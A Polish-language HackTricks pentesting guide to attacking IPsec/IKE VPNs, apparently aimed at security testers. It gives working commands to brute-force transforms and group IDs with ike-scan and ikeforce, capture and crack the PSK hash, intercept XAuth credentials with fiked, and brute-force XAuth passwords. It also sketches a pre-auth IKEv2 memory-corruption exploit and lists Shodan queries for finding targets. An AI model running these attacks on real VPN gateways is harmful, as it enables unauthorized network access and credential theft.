500/udp - Pentesting IPsec/IKE VPN

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

IPsec jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz od zdalnych użytkowników do bramy sieciowej (remote access), stanowiąc trzon rozwiązań VPN dla przedsiębiorstw.

Ustanowienie security association (SA) między dwoma punktami jest zarządzane przez IKE, który działa w ramach ISAKMP — protokołu przeznaczonego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:

  • Faza 1: Między dwoma końcówkami tworzony jest bezpieczny kanał. Osiąga się to poprzez użycie Pre-Shared Key (PSK) lub certyfikatów, stosując albo main mode, który obejmuje trzy pary komunikatów, albo aggressive mode.
  • Faza 1.5: Choć nieobowiązkowa, ta faza, znana jako Extended Authentication Phase, potwierdza tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
  • Faza 2: Faza ta poświęcona jest negocjowaniu parametrów zabezpieczających dane przy użyciu ESP i AH. Pozwala na użycie algorytmów innych niż w Phase 1, aby zapewnić Perfect Forward Secrecy (PFS), zwiększając bezpieczeństwo.

Domyślny port: 500/udp

Często również wystawiany: 4500/udp (NAT Traversal)

Odkryj usługę przy użyciu nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Znalezienie poprawnej transformacji

Konfiguracja IPSec może być przygotowana tak, by akceptowała tylko jedną lub kilka transformacji. Transformacja to kombinacja wartości. Each transform zawiera szereg atrybutów, takich jak DES lub 3DES jako encryption algorithm, SHA lub MD5 jako integrity algorithm, a pre-shared key jako authentication type, Diffie-Hellman 1 or 2 as the key distribution algorithm oraz 28800 seconds jako the lifetime.

Następnie pierwszą rzeczą, którą musisz zrobić, jest find a valid transformation, aby serwer chciał z tobą rozmawiać. W tym celu możesz użyć narzędzia ike-scan. Domyślnie Ike-scan pracuje w main mode i wysyła pakiet do bramy z ISAKMP header oraz pojedynczą propozycją zawierającą eight transforms inside it.

W zależności od odpowiedzi możesz uzyskać pewne informacje o endpointzie:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Jak widać w poprzedniej odpowiedzi, jest pole AUTH z wartością PSK. Oznacza to, że vpn jest skonfigurowany z użyciem preshared key (i to jest naprawdę dobre dla pentestera).
Wartość ostatniej linii jest również bardzo ważna:

  • 0 returned handshake; 0 returned notify: To oznacza, że cel nie jest bramą IPsec.
  • 1 returned handshake; 0 returned notify: Oznacza to, że cel jest skonfigurowany dla IPsec i jest chętny do przeprowadzenia IKE negotiation, oraz jedna lub więcej z proponowanych transforms są akceptowalne (prawidłowy transform zostanie pokazany w output).
  • 0 returned handshake; 1 returned notify: Bramki VPN odpowiadają wiadomością notify, gdy żadna z transforms nie jest akceptowalna (choć niektóre bramki tego nie robią, w takim wypadku należy wykonać dalszą analizę i spróbować zmodyfikowanej propozycji).

W tym przypadku mamy już prawidłową transformację, ale jeśli jesteś w 3. przypadku, musisz wykonać trochę brute-force, aby znaleźć prawidłową transformację:

Przede wszystkim musisz wygenerować wszystkie możliwe transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

A następnie przeprowadź brute-force na każdym z nich przy użyciu ike-scan (to może potrwać kilka minut):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Jeśli brute-force nie zadziałał, być może server odpowiada bez handshakes nawet na valid transforms. Wtedy możesz spróbować tego samego brute-force, używając aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Miejmy nadzieję, że zostanie zwrócona prawidłowa transformacja.
Możesz spróbować tego samego ataku używając iker.py.
Możesz też spróbować brute force transformacji za pomocą ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH

Cisco wskazuje, aby unikać używania DH groups 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że państwa dysponujące dużymi zasobami mogą z łatwością złamać szyfrowanie danych wykorzystujących te słabe grupy. Odbywa się to przy użyciu specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Mimo że wdrożenie tej metody jest bardzo kosztowne, pozwala tym potężnym państwom odczytywać zaszyfrowane dane w czasie rzeczywistym, jeśli używana jest grupa, która nie jest silna (np. 1,024-bit lub mniejsza).

Server fingerprinting

Następnie możesz użyć ike-scan, aby spróbować odkryć producenta urządzenia. Narzędzie wysyła wstępną propozycję i przestaje odgrywać odpowiedzi. Następnie przeanalizuje różnicę czasu pomiędzy otrzymanymi wiadomościami od serwera a odpowiadającym im wzorcem odpowiedzi — pentester może dzięki temu skutecznie rozpoznać producenta bramy VPN. Ponadto niektóre serwery VPN używają opcjonalnego Vendor ID (VID) payload z IKE.

Określ prawidłową transformację jeśli to konieczne (using –trans)

Jeśli IKE wykryje producenta, wypisze go:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Można to również osiągnąć za pomocą skryptu nmap ike-version

IKEv2-specyficzne: WatchGuard Vendor ID version fingerprinting

Niektóre demony IKEv2 zawierają niestandardowe ładunki Vendor ID w odpowiedzi IKE_SA_INIT. WatchGuard Fireware OS zakodowuje wersję/build urządzenia bezpośrednio w VID, umożliwiając fingerprinting przed uwierzytelnieniem przy użyciu pojedynczego pakietu.

  • Transport: UDP/500 (i UDP/4500 dla NAT-T)
  • Pakiet: odpowiedź IKE_SA_INIT zawiera jeden lub więcej ładunków Vendor ID
  • Format WatchGuard: 32-bajtowy hash, po którym następuje base64, które dekoduje się do np. VN=12.11.3 BN=719894

Przykładowe surowe bajty z ładunku VID WatchGuard (ostatnie 12 bajtów to base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Szybkie wyodrębnianie w shellu, gdy masz końcówkę base64:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notatki

  • To nie jest część żadnego RFC IKEv2. Traktuj to jako specyficzną cechę producenta umożliwiającą szybkie zidentyfikowanie wersji Fireware OS, które są narażone/podatne.
  • Musisz jedynie wywołać odpowiedź IKE_SA_INIT; nie jest wymagane uwierzytelnianie.

Znalezienie właściwego ID (nazwa grupy)

Aby móc przechwycić hash potrzebujesz prawidłowej transformacji obsługującej Aggressive mode oraz poprawnego ID (nazwa grupy). Prawdopodobnie nie będziesz znać poprawnej nazwy grupy, więc będziesz musiał przeprowadzić brute-force.
W tym celu polecam dwie metody:

Bruteforcing ID with ike-scan

Najpierw spróbuj wysłać żądanie z fałszywym ID, próbując zebrać hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Jeśli nie zostanie zwrócony hash, to prawdopodobnie ta metoda brute forcingu zadziała. Jeśli zostanie zwrócony jakiś hash, oznacza to, że zostanie odesłany fałszywy hash dla fałszywego ID, więc ta metoda nie będzie wiarygodna do brute-force’owania ID. Na przykład, może zostać zwrócony fałszywy hash (to zdarza się w nowoczesnych wersjach):

Ale jak już mówiłem, jeśli nie zostanie zwrócony hash, powinieneś spróbować brute-force’ować typowe nazwy grup za pomocą ike-scan.

Ten skrypt będzie próbował brute-force’ować możliwe ID i zwróci te ID, dla których otrzymano poprawny handshake (będzie to prawidłowa nazwa grupy).

Jeśli odkryłeś konkretną transformację, dodaj ją w poleceniu ike-scan. Jeśli odkryłeś kilka transformacji, dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś przetestować je wszystkie, dopóki jedna z nich nie będzie działać poprawnie).

Możesz użyć the dictionary of ikeforce lub the one in seclists zawierających popularne nazwy grup, aby je brute-force’ować:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Lub użyj tego słownika (to połączenie pozostałych 2 słowników bez powtórzeń):

Bruteforcing ID with Iker

iker.py także używa ike-scan do bruteforce możliwych nazw grup. Stosuje własną metodę, aby znaleźć prawidłowe ID na podstawie wyniku ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py to narzędzie, które może być użyte także do brute force IDs. To narzędzie będzie try to exploit different vulnerabilities, które mogą posłużyć do distinguishing between a valid and a non-valid ID (może zwracać false positives i false negatives, dlatego wolę używać metody ike-scan, jeśli to możliwe).

Domyślnie ikeforce na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do zastosowania.

  • The first method polega na brute-force’owaniu nazw grup przez searching informacji Dead Peer Detection DPD w systemach Cisco (ta informacja jest zwracana przez serwer tylko jeśli nazwa grupy jest poprawna).
  • The second method available is to checks the number of responses sent to each try, ponieważ czasem wysyłanych jest więcej pakietów, gdy użyte jest poprawne id.
  • The third method polega na searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
  • Finally, if the server does not replay anything to the checks, ikeforce spróbuje brute force’ować serwer i sprawdzić, czy po wysłaniu poprawnego id serwer odpowie jakimś pakietem.
    Oczywiście celem brute forcingu id jest uzyskanie PSK, gdy masz poprawne id. Następnie, z id i PSK będziesz musiał bruteforce’ować XAUTH (jeśli jest włączony).

Jeśli odkryłeś konkretną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś kilka transformacji, możesz dodać nową pętlę, żeby spróbować je wszystkie (powinieneś je wszystkie wypróbować, dopóki jedna z nich nie zadziała poprawnie).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Z książki Network Security Assessment: Know Your Network): Możliwe jest również uzyskanie prawidłowych nazw użytkowników przez sniffing połączenia między VPN clientem a serverem, ponieważ pierwszy pakiet w aggressive mode zawierający client ID jest wysyłany w postaci jawnej

Capturing & cracking the hash

Na koniec, jeśli znalazłeś valid transformation oraz group name, i jeśli aggressive mode is allowed, to możesz bardzo łatwo przechwycić crackable hash:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash zostanie zapisany w hash.txt.

Możesz użyć psk-crack, john (używając ikescan2john.py) i hashcat, aby crack hasha:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE w połączeniu z Pre-Shared Key (PSK) jest powszechnie stosowane do celów uwierzytelniania grupowego. Metodę tę rozszerza XAuth (Rozszerzone uwierzytelnianie), który wprowadza dodatkową warstwę uwierzytelniania użytkownika. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak Microsoft Active Directory, RADIUS lub podobne systemy.

Przechodząc na IKEv2, następuje istotna zmiana — zamiast XAuth stosuje się EAP (Rozszerzalny protokół uwierzytelniania) do uwierzytelniania użytkowników. Zmiana ta podkreśla ewolucję praktyk uwierzytelniania w obrębie zabezpieczonych protokołów komunikacyjnych.

Lokalny MitM w sieci — przechwytywanie poświadczeń

Możesz więc przechwycić dane logowania przy użyciu fiked i sprawdzić, czy istnieje domyślna nazwa użytkownika (musisz przekierować ruch IKE do fiked w celu sniffing, co można zrobić przy pomocy ARP spoofing, more info). Fiked będzie działać jako VPN endpoint i przechwyci poświadczenia XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Również, używając IPSec spróbuj przeprowadzić atak MitM i zablokować cały ruch do port 500 — jeśli IPSec tunnel nie może zostać ustanowiony, ruch może być wysyłany jawnie.

Brute-forcing XAUTH username i password z ikeforce

Aby przeprowadzić brute-force na XAUTH (gdy znasz ważną nazwę grupy id i psk) możesz użyć pojedynczego username lub listy usernames oraz listy passwords:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

W ten sposób, ikeforce będzie próbował połączyć się używając każdej kombinacji username:password.

Jeśli znalazłeś jedną lub kilka poprawnych transforms, po prostu użyj ich tak jak w poprzednich krokach.

Uwierzytelnianie z IPSEC VPN

W Kali, VPNC jest wykorzystywane do nawiązywania tuneli IPsec. Profile muszą znajdować się w katalogu /etc/vpnc/. Możesz uruchomić te profile za pomocą polecenia vpnc.

Poniższe polecenia i konfiguracje ilustrują proces skonfigurowania połączenia VPN za pomocą VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

W tym ustawieniu:

  • Zamień [VPN_GATEWAY_IP] na rzeczywisty adres IP bramy VPN.
  • Zamień [VPN_CONNECTION_ID] na identyfikator połączenia VPN.
  • Zamień [VPN_GROUP_SECRET] na group secret VPN.
  • Zamień [VPN_USERNAME] i [VPN_PASSWORD] na poświadczenia uwierzytelniające VPN.
  • [PID] symbolizuje identyfikator procesu, który zostanie przypisany, gdy vpnc wystartuje.

Upewnij się, że przy konfiguracji VPN zastąpisz placeholdery rzeczywistymi, bezpiecznymi wartościami.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Nowoczesne urządzenia VPN często wystawiają IKEv2 na UDP/500 (oraz UDP/4500 dla NAT-T). Typową powierzchnią ataku przed uwierzytelnieniem jest parsowanie Identification (IDi) i Certificate payloadów podczas IKE_SA_AUTH.

Przebieg eksploatacji na wysokim poziomie, jeśli istnieje podatny parser IKEv2:

  • Wyślij prawidłowe IKE_SA_INIT, aby wynegocjować transforms i zakończyć Diffie–Hellman.
  • Następnie wyślij IKE_SA_AUTH zawierający IDi, który wywołuje błąd (np. nadmiernie duże Identification skopiowane do bufora o stałym rozmiarze na stosie przed walidacją certyfikatu).
  • Powstała korupcja pamięci może dać kontrolę nad zapisanymi rejestrami i adresem powrotu.
  • Przy włączonym NX, ale braku innych mitigacji (brak PIE/canaries), zbuduj ROP chain, aby wywołać mprotect na stronie stosu, a następnie przestaw wykonanie na wstrzyknięty shellcode lub na resident interpreter (np. /usr/bin/python3) jeśli /bin/sh nie jest dostępny.

Przykładowe domyślne transforms zaobserwowane w niektórych urządzeniach IKEv2 (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Praktyczne wskazówki

  • Celuj zarówno w UDP/500, jak i UDP/4500; serwery NAT-T mogą odpowiadać tylko na 4500.
  • Zwiększ bufor odbiorczy i timeouty dla skanerów opartych na UDP, aby uniknąć utraty pakietów.
  • Jeśli serwis wystawia niestandardowe Vendor IDs (zob. sekcję powyżej), użyj ich do szybkiego fingerprintingu podatnych wersji przed wysłaniem ruchu exploit.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks